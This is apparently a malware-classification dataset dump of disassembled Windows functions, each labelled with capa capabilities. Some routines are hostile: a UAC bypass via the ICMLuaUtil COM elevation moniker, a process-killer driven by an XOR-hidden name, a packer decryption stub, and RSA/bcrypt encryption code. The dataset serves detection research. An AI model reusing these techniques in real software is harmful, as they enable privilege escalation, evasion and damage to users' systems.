joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e3f30
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov bl, dl
mov dword [ebp - 0x138], ecx
push 2
mov byte [ebp - 0x131], bl
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e3fde
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x10c]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4e3fc0
test dl, dl
je 0x4e3fbc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4e3fc0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4e3fa0
xor eax, eax
jmp 0x4e3fc5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e3fca
inc esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x4e3f90
mov bl, byte [ebp - 0x131]
cmp edi, 0xffffffff
je 0x4e3fea
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4e4005
cmp esi, 1
setl al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
cmp esi, 1
pop edi
setle al
xor ecx, ebp
pop esi
pop ebx
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret

Function at 0x4e4020
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4e4100
nop dword [eax + eax]
movaps xmm0, xmmword [str.C4_]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x14]
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 0xe
jb 0x4e4080
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x13]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e40c0
test dl, dl
je 0x4e40bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e40c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e40a0
xor eax, eax
jmp 0x4e40c5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e40ea
push dword [ebp - 0x138]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4e40ea
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e4070
cmp edi, 0xffffffff
je 0x4e4108
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
Function at 0x4e4150
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4e41a9
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4e41b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4e41c6
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 0
test esi, esi
jne 0x4e41dc
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
xor ecx, ebp
pop esi
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
push 0x526b30
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call fcn.004b5f74
int3
Function at 0x4e68b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0bec
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
movzx ecx, word [esi + 0x27e]
cmp cx, word [esi + 0x27c]
jle 0x4e6987
movaps xmm0, xmmword [0x520640]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x10
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4e6902
cmp byte [ebp - 0x23], 0
mov byte [ebp - 0x13], 0
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
jne 0x4e692f
xor ecx, ecx
jmp 0x4e693e
lea ecx, [ebp - 0x23]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6935
sub ecx, edx
push ecx
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x44]
call fcn.00445910
lea ecx, [esi + 0x280]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x44]
cmp ecx, eax
je 0x4e6969
push 0xffffffffffffffff
push 0
push eax
call fcn.004450f0
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x4e697e
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.00445690
mov byte [esi + 0x258], 0
jmp 0x4e69a9
mov eax, dword [0x53b260]
mov eax, dword [eax]
cmp dword [eax + 4], 0xffffffff
je 0x4e69a9
push 3
lea eax, [ebp - 0x2c]
mov word [ebp - 0x2b], cx
mov ecx, dword [esi]
push eax
mov byte [ebp - 0x2c], 2
call fcn.004dbd60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret

Function at 0x4e69d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x52a098]
xor eax, esp
mov dword [esp + 0x48], eax
cmp dword [0x53b5d8], 0x10
lea ecx, [esp + 0x14]
push esi
mov esi, 0x53b5c4
mov eax, esi
cmovae eax, dword [0x53b5c4]
push ecx
push eax
call fcn.004bcc4f
add esp, 8
test eax, eax
je 0x4e6a1e
xor al, al
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
cmp dword [0x53b5d8], 0x10
push 0
cmovae esi, dword [0x53b5c4]
push 0x80
push 3
push 0
push 2
push 2
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4e6a59
mov al, 1
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x5203d0]
xor ecx, ecx
movups xmmword [esp + 4], xmm0
mov word [esp + 0x14], 0x3c
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x10
jb 0x4e6a75
mov dl, 1
mov byte [esp + 0x15], 0
lea ecx, [esp + 5]
call fcn.004e3f30
mov ecx, dword [esp + 0x4c]
test al, al
pop esi
sete al
xor ecx, esp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
Function at 0x4e6ab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0c19
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x520740]
xor ecx, ecx
mov eax, dword [ebp + 8]
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x20
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4e6af0
sub esp, 0x18
mov byte [ebp - 0x13], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x4e6b1e
mov eax, dword [edx]
jmp 0x4e6b20
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x23], 0
jne 0x4e6b2d
xor ecx, ecx
jmp 0x4e6b3c
lea ecx, [ebp - 0x23]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6b33
sub ecx, esi
push ecx
lea eax, [ebp - 0x23]
mov ecx, edx
push eax
call fcn.00445910
lea eax, [ebp - 0x40]
push eax
call fcn.004e9600
mov ecx, dword [0x53b260]
add esp, 0x20
add ecx, 0x280
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
cmp ecx, eax
je 0x4e6b78
push 0xffffffffffffffff
push 0
push eax
call fcn.004450f0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x4e6b8d
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00445690
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
Function at 0x4e9990
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
push ebx
push esi
push edi
lea ecx, [eax + 2]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x12c], ecx
lea esi, [ebp - 0x124]
lea ecx, [eax + 3]
xor bl, bl
mov dword [ebp - 0x130], ecx
mov edi, 0x10
nop dword [eax]
movzx ecx, bl
lea esi, [esi + 4]
add bl, 4
movzx edx, byte [ecx + eax]
movzx eax, byte [eax + ecx + 1]
shl edx, 8
or edx, eax
mov eax, dword [ebp - 0x12c]
shl edx, 8
movzx eax, byte [eax + ecx]
or edx, eax
mov eax, dword [ebp - 0x130]
shl edx, 8
movzx eax, byte [eax + ecx]
or edx, eax
mov eax, dword [ebp - 0x128]
mov dword [esi - 4], edx
sub edi, 1
jne 0x4e99d0
lea eax, [ebp - 0x120]
mov ebx, 0x30
nop
mov edx, dword [eax]
lea eax, [eax + 4]
mov esi, dword [eax + 0x30]
mov edi, edx
mov ecx, edx
rol edi, 0xe
ror ecx, 7
xor edi, ecx
shr edx, 3
xor edi, edx
mov ecx, esi
mov edx, esi
rol ecx, 0xd
rol edx, 0xf
xor edx, ecx
shr esi, 0xa
xor edx, esi
add edi, edx
add edi, dword [eax + 0x1c]
add edi, dword [eax - 8]
mov dword [eax + 0x38], edi
sub ebx, 1
jne 0x4e9a20
mov ebx, dword [ebp - 0x128]
add ebx, 0x50
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x12c], 0x40
movups xmm0, xmmword [ebx]
movups xmmword [ebp - 0x24], xmm0
movups xmm0, xmmword [ebx + 0x10]
movups xmmword [ebp - 0x14], xmm0
mov ebx, dword [ebp - 0x14]
nop
mov edx, dword [ebp - 0x1c]
mov edi, ebx
mov esi, dword [ebp - 0x20]
mov eax, ebx
rol eax, 7
mov ecx, ebx
ror edi, 0xb
not ecx
and ecx, dword [ebp - 0xc]
xor edi, eax
mov eax, ebx
ror eax, 6
xor edi, eax
mov eax, dword [ebp - 0x10]
and eax, ebx
xor ecx, eax
mov eax, dword [ebp - 0x128]
add edi, ecx
add dword [ebp - 0x128], 4
add edi, dword [eax + 0x51ffe0]
add edi, dword [ebp + eax - 0x124]
add edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, edx
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
add ebx, edi
mov eax, esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
mov ecx, eax
mov dword [ebp - 0x20], eax
rol eax, 0xa
ror ecx, 0xd
xor ecx, eax
mov eax, dword [ebp - 0x24]
ror eax, 2
xor ecx, eax
mov eax, esi
or eax, edx
and esi, edx
and eax, dword [ebp - 0x24]
add ecx, edi
or eax, esi
add eax, ecx
sub dword [ebp - 0x12c], 1
mov dword [ebp - 0x24], eax
jne 0x4e9a90
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x24]
mov ebx, dword [ebp - 0x130]
mov edx, 8
nop dword [eax]
mov eax, dword [ecx]
lea ecx, [ecx + 4]
add dword [ebx], eax
lea ebx, [ebx + 4]
sub edx, 1
jne 0x4e9b40
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
Function at 0x4ea4b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8008
call fcn.0049d4f0
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor esi, esi
mov bl, byte [edi]
cmp bl, 0x41
jl 0x4ea4da
cmp bl, 0x5a
jle 0x4ea4e4
cmp bl, 0x61
jl 0x4ea4f6
cmp bl, 0x7a
jg 0x4ea4f6
cmp byte [edi + 1], 0x3a
jne 0x4ea4f6
mov dword [ebp - 0x8008], 1
jmp 0x4ea4fe
xor eax, eax
mov dword [ebp - 0x8008], eax
push 0x8000
lea eax, [ebp - 0x8004]
push 0
push eax
call fcn.004b5630
mov ecx, dword [ebp - 0x8008]
add esp, 0xc
test ecx, ecx
je 0x4ea532
mov al, byte [edi + 1]
mov esi, 2
mov byte [ebp - 0x8004], bl
mov byte [ebp - 0x8003], al
mov al, byte [edi + esi]
add edi, esi
test al, al
je 0x4ea595
nop dword [eax + eax]
cmp esi, 0x7fff
jge 0x4ea595
cmp al, 0x2f
je 0x4ea550
cmp al, 0x5c
jne 0x4ea583
test ecx, ecx
jne 0x4ea55a
test esi, esi
jg 0x4ea55f
jmp 0x4ea583
cmp esi, 2
jle 0x4ea583
lea eax, [ebp - 0x8004]
push eax
call fcn.004bd4a7
add esp, 4
cmp eax, 0xffffffff
jne 0x4ea57d
call fcn.004bcfe2
cmp dword [eax], 0x11
jne 0x4ea5a8
mov ecx, dword [ebp - 0x8008]
movzx eax, byte [edi]
inc edi
mov byte [ebp + esi - 0x8004], al
inc esi
mov al, byte [edi]
test al, al
jne 0x4ea540
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049ca1b
mov esp, ebp
pop ebp
ret
Function at 0x4eaf90
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
test ecx, ecx
je 0x4eb0b5
mov esi, dword [ecx + 0x48]
test esi, esi
je 0x4eb0b5
cmp edx, dword [ecx + 0x10]
jae 0x4eb0b5
cmp dword [ecx + 0x14], 1
jne 0x4eb0b5
mov eax, dword [esi + 0x10]
mov edi, dword [eax + edx*4]
add edi, dword [esi]
je 0x4eb0b5
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4eb0b5
mov dword [ebx], edx
mov eax, dword [ecx + 0x48]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + edx*4]
mov dword [ebx + 4], eax
movzx eax, word [edi + 4]
mov word [ebx + 8], ax
movzx eax, word [edi + 6]
mov word [ebx + 0xa], ax
movzx eax, word [edi + 8]
mov word [ebx + 0xc], ax
movzx eax, word [edi + 0xa]
mov word [ebx + 0xe], ax
movzx edx, word [edi + 0xe]
movzx ecx, word [edi + 0xc]
call fcn.004ec050
mov dword [ebx + 0x10], eax
mov esi, 0x103
mov dword [ebx + 0x14], edx
mov eax, dword [edi + 0x10]
mov dword [ebx + 0x18], eax
mov eax, dword [edi + 0x14]
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], 0
mov eax, dword [edi + 0x18]
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], 0
movzx eax, word [edi + 0x24]
mov word [ebx + 0x30], ax
mov eax, dword [edi + 0x26]
mov dword [ebx + 0x34], eax
mov eax, dword [edi + 0x2a]
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x3c], 0
movzx eax, word [edi + 0x1c]
cmp eax, esi
cmovb esi, eax
lea eax, [edi + 0x2e]
push esi
push eax
lea eax, [ebx + 0x44]
push eax
call fcn.004b5a00
mov byte [esi + ebx + 0x44], 0
mov esi, 0xff
movzx eax, word [edi + 0x20]
cmp eax, esi
cmovb esi, eax
mov dword [ebx + 0x40], esi
movzx ecx, word [edi + 0x1e]
movzx eax, word [edi + 0x1c]
add ecx, edi
add eax, 0x2e
add eax, ecx
push esi
push eax
lea eax, [ebx + 0x148]
push eax
call fcn.004b5a00
add esp, 0x18
mov byte [esi + ebx + 0x148], 0
mov eax, 1
pop edi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x4edde0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
test esi, esi
jne 0x4eddef
xor eax, eax
pop esi
pop ebp
ret
push edi
mov edi, dword [ebp + 8]
not ecx
test edi, edi
je 0x4ede32
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
movzx edx, al
mov eax, edx
shr edx, 4
xor eax, ecx
shr ecx, 4
and eax, 0xf
xor ecx, dword [eax*4 + 0x51f5f0]
mov eax, ecx
shr ecx, 4
and eax, 0xf
xor edx, eax
xor ecx, dword [edx*4 + 0x51f5f0]
sub edi, 1
jne 0x4ede00
not ecx
pop edi
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x78815bd5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x3b542b52
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x100018d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x14]
sub esp, 0xc
xor ecx, ecx
test edx, edx
je 0x100019d6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
cmp edx, 0x40
jb 0x100019b8
lea eax, [edx - 1]
add eax, ebx
cmp edi, eax
ja 0x1000190e
lea eax, [edx - 1]
add eax, edi
cmp eax, ebx
jae 0x100019b8
lea eax, [edx - 1]
add eax, esi
cmp edi, eax
ja 0x10001924
lea eax, [edx - 1]
add eax, edi
cmp eax, esi
jae 0x100019b8
mov eax, edx
mov edx, esi
sub edx, ebx
and eax, 0xffffffc0
mov dword [ebp + 8], edx
mov edx, edi
sub edx, ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], edx
lea eax, [ebx + 0x10]
mov ebx, dword [ebp + 8]
mov edx, esi
sub edx, edi
mov dword [ebp - 8], edx
lea edx, [edi + 0x20]
nop word [eax + eax]
movups xmm0, xmmword [eax - 0x10]
mov edi, dword [ebp - 4]
lea eax, [eax + 0x40]
movups xmm1, xmmword [ecx + esi]
lea edx, [edx + 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x40]
movups xmmword [edx - 0x60], xmm1
movups xmm1, xmmword [ebx + eax - 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x30]
movups xmmword [edi + eax - 0x40], xmm1
mov edi, dword [ebp - 8]
movups xmm1, xmmword [edi + edx - 0x40]
mov edi, dword [ebp + 0x10]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x20]
movups xmmword [edx - 0x40], xmm1
movups xmm1, xmmword [ecx + esi + 0x30]
add ecx, 0x40
pxor xmm1, xmm0
movups xmmword [edx - 0x30], xmm1
cmp ecx, dword [ebp - 0xc]
jb 0x10001950
mov edx, dword [ebp + 0x14]
mov ebx, dword [ebp + 0xc]
mov dword [ebp + 0x10], ecx
cmp ecx, edx
jae 0x100019d3
sub esi, ebx
lea eax, [ecx + ebx]
sub edi, ebx
sub edx, ecx
mov cl, byte [eax + esi]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
mov byte [eax + edi - 1], cl
sub edx, 1
jne 0x100019c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100019e0
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x468
mov eax, dword [0x1000f044]
xor eax, esp
mov dword [esp + 0x464], eax
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 8], 0
xorps xmm0, xmm0
mov edi, ecx
push eax
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
movaps xmmword [esp + 0x38], xmm0
xor esi, esi
movaps xmmword [esp + 0x48], xmm0
call dword [sym.imp.ole32.dll_CLSIDFromString]
lea eax, [esp + 0x40]
push eax
push str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call dword [sym.imp.ole32.dll_IIDFromString]
push 0x208
lea eax, [esp + 0x5c]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
push 0x208
lea eax, [esp + 0x270]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x104
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [esp + 0x58]
push eax
push str.Elevation:Administrator_new:_s
lea eax, [esp + 0x268]
push 0x104
push eax
call fcn.10001bc0
add esp, 0x10
test eax, eax
js 0x10001b00
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x24
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x30], esi
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x28], 4
push eax
xorps xmm0, xmm0
lea eax, [esp + 0x26c]
push eax
movlpd qword [esp + 0x20], xmm0
movlpd qword [esp + 0x28], xmm0
movlpd qword [esp + 0x34], xmm0
call dword [sym.imp.ole32.dll_CoGetObject]
test eax, eax
js 0x10001b00
mov eax, dword [esp + 8]
push 5
push esi
push esi
mov ecx, dword [eax]
push esi
push edi
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
mov ecx, 1
cmovns esi, ecx
mov eax, dword [esp + 8]
test eax, eax
je 0x10001b10
mov ecx, dword [eax]
push eax
mov ecx, dword [ecx + 8]
call ecx
mov ecx, dword [esp + 0x46c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.1000908b
mov esp, ebp
pop ebp
ret

Function at 0x10002000
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
push 2
mov dword [ebp - 0xc], eax
mov edi, edx
mov eax, dword [ebp + 0x10]
mov esi, ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0x20
push edi
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
test eax, eax
js 0x10002099
push dword [ebp - 8]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
test eax, eax
jne 0x10002077
pop edi
mov eax, 0xf0000001
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000908b
mov esp, ebp
pop ebp
ret
push 2
push dword [ebp - 0x10]
push dword [ebp - 8]
push eax
push 0
push 0
push 0
push 0x20
push edi
push esi
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
xor ecx, ecx
test eax, eax
cmovs ecx, eax
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000908b
mov esp, ebp
pop ebp
ret
Function at 0x100020b0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1000f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
xor esi, esi
mov dword [ebp - 0x10], edx
push esi
push esi
push 0x1000bda8
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
call dword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
js 0x1000213d
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push esi
push esi
push eax
push esi
push 1
push edi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x10002125
push dword [ebp - 8]
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x1000214d
push 0xf0000001
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xf0000005
test esi, esi
je 0x1000213a
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000908b
mov esp, ebp
pop ebp
ret
push 0
push 0
lea eax, [ebp - 8]
push eax
push esi
push 1
push edi
push dword [ebp - 0xc]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x10002125
mov eax, dword [ebp - 0x14]
push 0
push dword [ebp - 8]
push esi
push dword [ebp - 0x10]
push str.RSAPUBLICBLOB
push 0
push dword [eax]
call dword [sym.imp.bcrypt.dll_BCryptImportKeyPair]
mov edi, eax
jmp 0x1000212e